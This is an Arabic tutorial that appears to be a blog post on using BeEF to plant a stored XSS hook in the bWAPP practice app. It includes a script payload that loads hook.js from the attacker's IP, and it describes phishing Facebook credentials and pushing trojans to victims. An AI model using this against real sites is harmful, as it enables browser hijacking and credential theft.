موضوع اليوم سوف يكون عن سيناريو XSS عبر أداة BeEF. هذه الأداة اختصار لـ”BrowserExploitation Framework” وهي تخص ثغرات المتصفح بشكل عام. الأداة تقوم بإنشاء ملف “Hook” يحتوي على كود JavaScript خبيث والغرض منه التحكم بمتصفح الضحية, والأداة تقوم بتشغيل سيرفر Apache حيث يوضع هذا الملف. إذا سوف نقوم بوضع هذا الملف بداخل موقع مصاب بثغرة XSS, من خلال اضافة script tag لهذا المثال, سوف أستخدم “bWAPP” وهو اختصار لـ”buggy web application” وهذاالموقع هو تطبيق ويب مجاني ومفتوح المصدر وأي شخص يستطيع أن يقوم بتثبيته على جهازه لإكتشاف الثغرات المتاحة عليه وتعلم كيف تعمل هذه الثغرات. نقوم بكتابة beef-xss والأداة ستقوم بالعمل وسوف تعطينا معلومتين مهمتان, أولا رابط واجهة استخدام الأداة وهو الموضح أدناه: كود: localhost:3000/ui/panel أو كود: http://127.0.0.1:3000/ui/panel وهذه هي واجهة beef: المعلومة الثانية هي رابط ملف الـ”hook” والذي سوف يكون: كود: http://IP:3000/hook.js ونستبدل كلمة IP, بـIP الجهاز الي سيقوم بالهجوم. سوف تعطينا beef مثال لـXSS وهنا سنستخدم الـPayload كود: <script src=http://10.0.2.4/hook.js></script> والآن نبحث عن ثغرة Stored XSS حتى نخزن الـ”hook” في الموقع المصاب, ونتحكم بمتصفح أي شخص يزور الرابط الذي يحتوي على الـhook. هنا يأتوي دور bWAPP حيث توجد صفحة معينة عليها ثغرة Stored XSS, حيث أنها تسمح للمستخدم أن يدخل نص معين في مدونة, والموقع لا يقوم بالتحقق من النص, لذلك ندخل تاق سكريبت يشير إلى ملف الـhook الخاص بـbeef, والذي يحتوي على اكواد JavaScript. نقوم بإضافة entry جديد للمدونة في bWAPP: بعد الإضافة, نلاحظ أن كلمة “test” ظاهرة لنا, ولكن السكريبت مخفي حيث أن الصفحة نفذت السكريبت ككوماند أو أمر, وليس كنص. ونثبت ذلك بالذهاب لواجهة beef: هنا تم إضافة المتصفح الخاص بنا حيث أن bWAPP نفذ الكود في متصفحنا. إذاً، نستطيع الآن أن نعطي الرابط للضحية و متصفح الضحية سوف يقوم بتنفيذ الكود الذي يحتوي على beef hook ثم سيظهر لنا BeEF متصفح الضحية: إذًا حصلنا على متصفح الضحية عبر موقع إلكتروني مصاب بثغرة Stored XSS وذلك بمجرد زيارته للصفحة المخترقة. تٌمكننا beef من أن نقوم بالعديد من الخدع بعد الحصول على متصفح الضحية, وفي هذا المثال سوف ارسل عنصر “div” جديد في متصفح الضحية يطلبه الإيميل وكلمة المرور لموقع Facebook. وهذه النافذة سوف تظهر في متصفح الضحية: وعندما يدخل الضحية الإيميل وكلمة المرور, سوف نراها في beef هكذا: وهكذا حصلنا على بيانات الضحية دون علمه, لأن الطلب يبدو وكأنه قادم من موقع bWAPP. ملاحظة: يوجد العديد من الخدع والهجمات في beef ولكن هذا مثال واحد منها, أيضا نستطيع أن نرسل طلب login لأي موقع أخر. نستطيع أيضا أن نرسل trojan أو أي ملف خبيث لمتصفح الضحية حتى يقوم بتنزيله مباشرة، بالإضافة إلى التحديثات الوهمية وغيرها.